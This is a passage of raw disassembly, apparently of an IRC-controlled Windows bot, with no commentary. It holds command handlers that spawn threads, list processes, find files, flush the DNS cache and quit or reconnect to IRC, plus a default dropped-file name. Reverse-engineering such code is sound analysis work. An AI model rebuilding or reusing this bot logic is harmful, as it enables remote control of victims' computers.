		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_403C89:				; CODE XREF: sub_401CC7+1F9Bj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403CAA
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	esp, 14h

loc_403CAA:				; CODE XREF: sub_401CC7+1FC5j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C3F
		pop	ecx

loc_403CB7:				; CODE XREF: sub_401CC7+1D85j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403A02
		jmp	loc_402085
; ---------------------------------------------------------------------------

loc_403CCB:				; CODE XREF: sub_401CC7+1E01j
		push	offset unk_4410F4
		jmp	loc_40717F
; ---------------------------------------------------------------------------

loc_403CD5:				; CODE XREF: sub_401CC7+1B56j
					; sub_401CC7+1B6Bj
		push	5
		call	sub_40B99E
		test	eax, eax
		pop	ecx
		jle	short loc_403CEB
		push	offset unk_440FEC
		jmp	loc_40717F
; ---------------------------------------------------------------------------

loc_403CEB:				; CODE XREF: sub_401CC7+2018j
		mov	eax, dword ptr [ebp+esi+Args]
		cmp	eax, ebx
		jz	short loc_403D0E
		push	eax		; Format
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_403D22
; ---------------------------------------------------------------------------

loc_403D0E:				; CODE XREF: sub_401CC7+202Dj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		call	ds:dword_4F5344	; GetModuleFileNameA

loc_403D22:				; CODE XREF: sub_401CC7+2045j
		mov	esi, [ebp+esi+Format]
		cmp	esi, ebx
		jnz	short loc_403D32
		mov	esi, offset Str	; "nlzhxmpyrjsyle.exe"

loc_403D32:				; CODE XREF: sub_401CC7+2064j
		push	esi		; Format
		lea	eax, [ebp+var_2C4C]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, dword_43F078
		push	7Fh		; Count
		push	[ebp+Format]	; Source
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+var_2B40]
		push	offset asc_44100C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	5		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset sub_412217
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_403DFE

loc_403DE8:				; CODE XREF: sub_401CC7+2135j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_408506
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_403DE8
; ---------------------------------------------------------------------------

loc_403DFE:				; CODE XREF: sub_401CC7+211Fj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_441040
		jmp	loc_404BD6
; ---------------------------------------------------------------------------

loc_403E0F:				; CODE XREF: sub_401CC7+1B2Cj
					; sub_401CC7+1B41j
		mov	edi, dword ptr [ebp+esi+Args]
		cmp	edi, ebx
		jz	short loc_403E2E
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jz	short loc_403E2E
		push	edi		; Str
		call	_atoi
		pop	ecx
		jmp	short loc_403E33
; ---------------------------------------------------------------------------

loc_403E2E:				; CODE XREF: sub_401CC7+2151j
					; sub_401CC7+215Cj
		mov	eax, dword_43F07C

loc_403E33:				; CODE XREF: sub_401CC7+2165j
		mov	esi, [ebp+esi+Format]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403E66
		lea	eax, [ebp+var_37CC]
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_403E91
; ---------------------------------------------------------------------------

loc_403E66:				; CODE XREF: sub_401CC7+218Cj
		lea	eax, [ebp+FullPath]
		push	104h
		push	eax
		call	ds:dword_4F5348	; GetSystemDirectoryA
		push	ebx		; Ext
		push	ebx		; Filename
		lea	eax, [ebp+Drive]
		push	ebx		; Dir
		push	eax		; Drive
		lea	eax, [ebp+FullPath]
		push	eax		; FullPath
		call	__splitpath
		add	esp, 14h

loc_403E91:				; CODE XREF: sub_401CC7+219Dj
		lea	eax, [ebp+var_37CC]
		push	eax		; Str
		call	_strlen
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403EBC
		lea	eax, [ebp+var_37CC]
		push	eax		; Str
		call	_strlen
		pop	ecx
		mov	[ebp+eax+var_37CD], bl

loc_403EBC:				; CODE XREF: sub_401CC7+21DFj
		push	[ebp+Format]	; Format
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AF71
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_440F60 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	3		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40FB50
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_403F70

loc_403F5E:				; CODE XREF: sub_401CC7+22A7j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403F8B
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_403F5E
; ---------------------------------------------------------------------------

loc_403F70:				; CODE XREF: sub_401CC7+2295j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset asc_440F9C ; "-"

loc_403F7C:				; CODE XREF: sub_401CC7+240Aj
					; sub_401CC7+4D85j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_403F8B:				; CODE XREF: sub_401CC7+229Dj
					; sub_401CC7+23EEj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_408637
		push	ebx
		push	edi
		jmp	loc_407500
; ---------------------------------------------------------------------------

loc_403F9B:				; CODE XREF: sub_401CC7+1B02j
					; sub_401CC7+1B17j
		mov	edi, dword ptr [ebp+esi+Args]
		cmp	edi, ebx
		jz	short loc_403FBA
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jz	short loc_403FBA
		push	edi		; Str
		call	_atoi
		pop	ecx
		jmp	short loc_403FBF
; ---------------------------------------------------------------------------

loc_403FBA:				; CODE XREF: sub_401CC7+22DDj
					; sub_401CC7+22E8j
		mov	eax, dword_43F080

loc_403FBF:				; CODE XREF: sub_401CC7+22F1j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+Format]
		cmp	eax, ebx
		jnz	short loc_403FD6
		lea	eax, [ebp+var_C0]

loc_403FD6:				; CODE XREF: sub_401CC7+2307j
		push	eax		; Format
		lea	eax, [ebp+var_1964]
		push	40h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	esi, [ebp+esi+Str2]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403FF8
		mov	esi, offset dword_4E2F9C

loc_403FF8:				; CODE XREF: sub_401CC7+232Aj
		push	esi		; Format
		lea	eax, [ebp+var_1924]
		push	100h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+Format]	; Format
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AF71
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_440ED4 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	9		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset sub_4114CE
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_4040C5

loc_4040AF:				; CODE XREF: sub_401CC7+23FCj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403F8B
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_4040AF
; ---------------------------------------------------------------------------

loc_4040C5:				; CODE XREF: sub_401CC7+23E6j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_440F10
		jmp	loc_403F7C
; ---------------------------------------------------------------------------

loc_4040D6:				; CODE XREF: sub_401CC7+1AD8j
					; sub_401CC7+1AEDj
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		jz	short loc_4040E9
		push	esi		; Str
		call	_atoi
		jmp	short loc_4040F0
; ---------------------------------------------------------------------------

loc_4040E9:				; CODE XREF: sub_401CC7+2418j
		push	0Bh
		call	sub_40B9BD

loc_4040F0:				; CODE XREF: sub_401CC7+2420j
		cmp	eax, ebx
		pop	ecx
		jz	loc_409B16
		push	eax		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40C0B6
		jmp	loc_4045A4
; ---------------------------------------------------------------------------

loc_404110:				; CODE XREF: sub_401CC7+1AAEj
					; sub_401CC7+1AC3j
		mov	eax, dword_4E3014
		cmp	eax, ebx
		jz	short loc_40412D
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		jz	short loc_404126
		push	offset unk_440E30
		jmp	short loc_404132
; ---------------------------------------------------------------------------

loc_404126:				; CODE XREF: sub_401CC7+2456j
		push	offset unk_440E54
		jmp	short loc_404132
; ---------------------------------------------------------------------------

loc_40412D:				; CODE XREF: sub_401CC7+2450j
		push	offset asc_440E80 ; "-"

loc_404132:				; CODE XREF: sub_401CC7+245Dj
					; sub_401CC7+2464j ...
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		jmp	loc_406F56
; ---------------------------------------------------------------------------

loc_404148:				; CODE XREF: sub_401CC7+1A84j
					; sub_401CC7+1A99j
		call	sub_40AE8D
		test	eax, eax
		jz	short loc_404158
		push	offset unk_440DCC
		jmp	short loc_404132
; ---------------------------------------------------------------------------

loc_404158:				; CODE XREF: sub_401CC7+2488j
		push	offset unk_440DF0
		jmp	short loc_404132
; ---------------------------------------------------------------------------

loc_40415F:				; CODE XREF: sub_401CC7+1A5Aj
					; sub_401CC7+1A6Fj
		cmp	[ebp+var_8], ebx
		jnz	short loc_40417E
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset dword_440D84 ; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	esp, 14h

loc_40417E:				; CODE XREF: sub_401CC7+249Bj
		push	ebx		; int
		push	[ebp+var_4]	; int
		call	sub_418EEF
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		push	offset dword_440D9C
		jmp	loc_404470
; ---------------------------------------------------------------------------

loc_4041A0:				; CODE XREF: sub_401CC7+18EAj
					; sub_401CC7+18FFj
		push	0Ah
		call	sub_40B99E
		test	eax, eax
		pop	ecx
		jle	short loc_4041B6
		push	offset unk_440C94
		jmp	loc_4098C3
; ---------------------------------------------------------------------------

loc_4041B6:				; CODE XREF: sub_401CC7+24E3j
		push	[ebp+Format]
		push	[ebp+arg_4]
		call	sub_41AB45
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4041D5
		push	offset unk_440CC0
		jmp	loc_4098C3
; ---------------------------------------------------------------------------

loc_4041D5:				; CODE XREF: sub_401CC7+2502j
		push	offset unk_440CE8
		jmp	loc_4098C3
; ---------------------------------------------------------------------------

loc_4041DF:				; CODE XREF: sub_401CC7+18C0j
					; sub_401CC7+18D5j
		push	[ebp+var_8]	; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40AA90
		jmp	loc_402082
; ---------------------------------------------------------------------------

loc_4041F8:				; CODE XREF: sub_401CC7+1896j
					; sub_401CC7+18ABj
		push	dword ptr [ebp+esi+Args] ; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_41779D
		jmp	loc_402082
; ---------------------------------------------------------------------------

loc_404215:				; CODE XREF: sub_401CC7+186Cj
					; sub_401CC7+1881j
		or	edi, 0FFFFFFFFh
		call	ds:dword_4F537C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		mov	[ebp+Src], eax
		jz	short loc_40423E
		push	esi		; Str
		call	_atoi
		pop	ecx
		mov	edi, eax

loc_40423E:				; CODE XREF: sub_401CC7+256Cj
		mov	eax, [ebp+Src]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_404257
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409B16

loc_404257:				; CODE XREF: sub_401CC7+2585j
		push	ebx
		call	sub_41B76F
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_440C4C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C3F

loc_404295:				; CODE XREF: sub_401CC7+531Dj
		add	esp, 24h
		jmp	loc_409B16
; ---------------------------------------------------------------------------

loc_40429D:				; CODE XREF: sub_401CC7+1842j
					; sub_401CC7+1857j
		push	[ebp+var_4]
		push	[ebp+Format]
		push	[ebp+arg_4]
		call	sub_416591
		add	esp, 0Ch
		push	offset dword_440C20
		jmp	loc_40717F
; ---------------------------------------------------------------------------

loc_4042BB:				; CODE XREF: sub_401CC7+1818j
					; sub_401CC7+182Dj
		push	27h
		call	sub_40B99E
		test	eax, eax
		pop	ecx
		jle	short loc_4042EF
		cmp	[ebp+var_8], ebx
		jnz	loc_402085
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset unk_440B90 ; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34

loc_4042E7:				; CODE XREF: sub_401CC7+72E0j
		add	esp, 14h
		jmp	loc_402085
; ---------------------------------------------------------------------------

loc_4042EF:				; CODE XREF: sub_401CC7+25FEj
		push	[ebp+Format]	; Format
		lea	eax, [ebp+var_B2C]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		mov	esi, dword ptr [ebp+esi+Args]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404350
		push	esi		; Str2
		push	offset aFull	; "full"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404350
		mov	[ebp+var_AA8], 1

loc_404350:				; CODE XREF: sub_401CC7+266Cj
					; sub_401CC7+267Dj
		lea	eax, [ebp+Dst]
		push	offset asc_440BB8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	27h		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_41A7CC
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_4043BE

loc_4043A8:				; CODE XREF: sub_401CC7+26F5j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_4098F2
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_4043A8
; ---------------------------------------------------------------------------

loc_4043BE:				; CODE XREF: sub_401CC7+26DFj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_440BD4 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_4098F2
; ---------------------------------------------------------------------------

loc_4043DE:				; CODE XREF: sub_401CC7+17EEj
					; sub_401CC7+1803j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4043FD
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset dword_440B68 ; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	esp, 14h

loc_4043FD:				; CODE XREF: sub_401CC7+271Aj
		push	[ebp+arg_4]
		call	dword_4E3190	; closesocket
		call	dword_4E3050	; WSACleanup
		call	sub_4190F6
		push	ebx
		call	ds:dword_4F5338	; ExitProcess

loc_404418:				; CODE XREF: sub_401CC7+17C4j
					; sub_401CC7+17D9j
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	[ebp+arg_4]
		push	eax
		call	sub_41B92C
		pop	ecx
		pop	ecx
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		push	offset dword_440B40
		jmp	short loc_404470
; ---------------------------------------------------------------------------

loc_404443:				; CODE XREF: sub_401CC7+179Aj
					; sub_401CC7+17AFj
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41BBE0
		add	esp, 0Ch
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		push	offset dword_440B18

loc_404470:				; CODE XREF: sub_401CC7+24D4j
					; sub_401CC7+277Aj
		call	sub_415C3F
		add	esp, 18h
		jmp	loc_409B16
; ---------------------------------------------------------------------------

loc_40447D:				; CODE XREF: sub_401CC7+1770j
					; sub_401CC7+1785j
		push	[ebp+var_8]	; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_415D7C
		jmp	loc_402082
; ---------------------------------------------------------------------------

loc_404496:				; CODE XREF: sub_401CC7+1746j
					; sub_401CC7+175Bj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4044D5
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		jz	short loc_4044D5
		push	esi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4044D5
		push	eax
		push	offset aS_36	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h

loc_4044D5:				; CODE XREF: sub_401CC7+27D8j
					; sub_401CC7+27E3j ...
		push	[ebp+Format]	; Format
		lea	eax, [ebp+var_1614]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+Dst]
		push	offset asc_440AAC ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	25h		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset sub_415DEF
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_404578

loc_404562:				; CODE XREF: sub_401CC7+28AFj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_402085
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_404562
; ---------------------------------------------------------------------------

loc_404578:				; CODE XREF: sub_401CC7+2899j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_440AC4
		jmp	loc_402269
; ---------------------------------------------------------------------------

loc_404589:				; CODE XREF: sub_401CC7+171Cj
					; sub_401CC7+1731j
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_415BC7
		push	offset dword_440A88
		call	sub_415C3F

loc_4045A4:				; CODE XREF: sub_401CC7+2444j
		add	esp, 10h
		jmp	loc_409B16
; ---------------------------------------------------------------------------

loc_4045AC:				; CODE XREF: sub_401CC7+16F2j
					; sub_401CC7+1707j
		push	[ebp+Format]	; Format
		lea	eax, [ebp+var_BC4]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		mov	esi, dword ptr [ebp+esi+Args]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_404606
		push	offset aSub	; "sub"
		push	esi		; Str1
		call	_strcmp
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_40460C
; ---------------------------------------------------------------------------

loc_404606:				; CODE XREF: sub_401CC7+2923j
		mov	[ebp+var_B40], ebx

loc_40460C:				; CODE XREF: sub_401CC7+293Dj
		lea	eax, [ebp+Dst]
		push	offset asc_440A20 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	28h		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset sub_40B7C1
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_40467A

loc_404664:				; CODE XREF: sub_401CC7+29B1j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406F7A
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_404664
; ---------------------------------------------------------------------------

loc_40467A:				; CODE XREF: sub_401CC7+299Bj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_440A40
		jmp	loc_4094C9
; ---------------------------------------------------------------------------

loc_40468B:				; CODE XREF: sub_401CC7+1676j
					; sub_401CC7+168Bj
		push	offset aTrb	; "trb"
		push	offset asc_4409A8 ; "-"

loc_404695:				; CODE XREF: sub_401CC7+2A0Dj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	esp, 20h
		jmp	loc_406F7A
; ---------------------------------------------------------------------------

loc_4046C2:				; CODE XREF: sub_401CC7+164Cj
					; sub_401CC7+1661j
		push	dword_4E2E1C
		call	sub_41B76F
		pop	ecx
		push	eax
		push	offset unk_440974
		jmp	short loc_404695
; ---------------------------------------------------------------------------

loc_4046D6:				; CODE XREF: sub_401CC7+1622j
					; sub_401CC7+1637j
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		jz	short loc_404708
		cmp	[ebp+var_C], ebx
		jz	short loc_404717
		push	esi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_404717
		push	eax		; Args
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409CEE
		add	esp, 0Ch
		jmp	short loc_404717
; ---------------------------------------------------------------------------

loc_404708:				; CODE XREF: sub_401CC7+2A18j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409CEE
		pop	ecx
		pop	ecx

loc_404717:				; CODE XREF: sub_401CC7+2A1Dj
					; sub_401CC7+2A2Cj ...
		push	0FFFFFFFEh
		jmp	loc_402087
; ---------------------------------------------------------------------------

loc_40471E:				; CODE XREF: sub_401CC7+15F8j
					; sub_401CC7+160Dj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409CEE
		push	offset dword_440924
		call	sub_415C3F
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_402088
; ---------------------------------------------------------------------------

loc_404740:				; CODE XREF: sub_401CC7+15CEj
					; sub_401CC7+15E3j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409CEE
		push	offset dword_4408E0
		call	sub_415C3F
		add	esp, 0Ch
		jmp	loc_409A7B
; ---------------------------------------------------------------------------

loc_40475F:				; CODE XREF: sub_401CC7+15A4j
					; sub_401CC7+15B9j
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40BE3A
		jmp	loc_404B1E
; ---------------------------------------------------------------------------

loc_404775:				; CODE XREF: sub_401CC7+157Aj
					; sub_401CC7+158Fj
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40BDE5
		jmp	loc_404B1E
; ---------------------------------------------------------------------------

loc_40478B:				; CODE XREF: sub_401CC7+1550j
					; sub_401CC7+1565j
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40BD79
		jmp	loc_404B1E
; ---------------------------------------------------------------------------

loc_4047A1:				; CODE XREF: sub_401CC7+1526j
					; sub_401CC7+153Bj
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40BCAA
		jmp	loc_404B1E
; ---------------------------------------------------------------------------

loc_4047B7:				; CODE XREF: sub_401CC7+1481j
					; sub_401CC7+1496j
		push	dword ptr [ebp+esi+Args]
		push	27h
		push	offset aProcessList ; "Process list"
		push	offset dword_4407E4
		jmp	loc_402D0F
; ---------------------------------------------------------------------------

loc_4047CF:				; CODE XREF: sub_401CC7+1457j
					; sub_401CC7+146Cj
		push	dword ptr [ebp+esi+Args]
		push	24h
		push	offset aFindFile ; "Find file"
		push	offset dword_4407B0
		jmp	loc_402D0F
; ---------------------------------------------------------------------------

loc_4047E7:				; CODE XREF: sub_401CC7+1073j
					; sub_401CC7+1088j
		mov	edi, dword ptr [ebp+esi+Args]
		cmp	edi, ebx
		jz	short loc_404806
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jz	short loc_404806
		push	edi		; Str
		call	_atoi
		pop	ecx
		jmp	short loc_40480B
; ---------------------------------------------------------------------------

loc_404806:				; CODE XREF: sub_401CC7+2B29j
					; sub_401CC7+2B34j
		mov	eax, dword_43F074

loc_40480B:				; CODE XREF: sub_401CC7+2B3Dj
		mov	esi, [ebp+esi+Format]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404830
		push	esi		; Format

loc_40481D:				; CODE XREF: sub_401CC7+2B78j
		lea	eax, [ebp+var_5A0]
		push	10h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_404847
; ---------------------------------------------------------------------------

loc_404830:				; CODE XREF: sub_401CC7+2B53j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404841
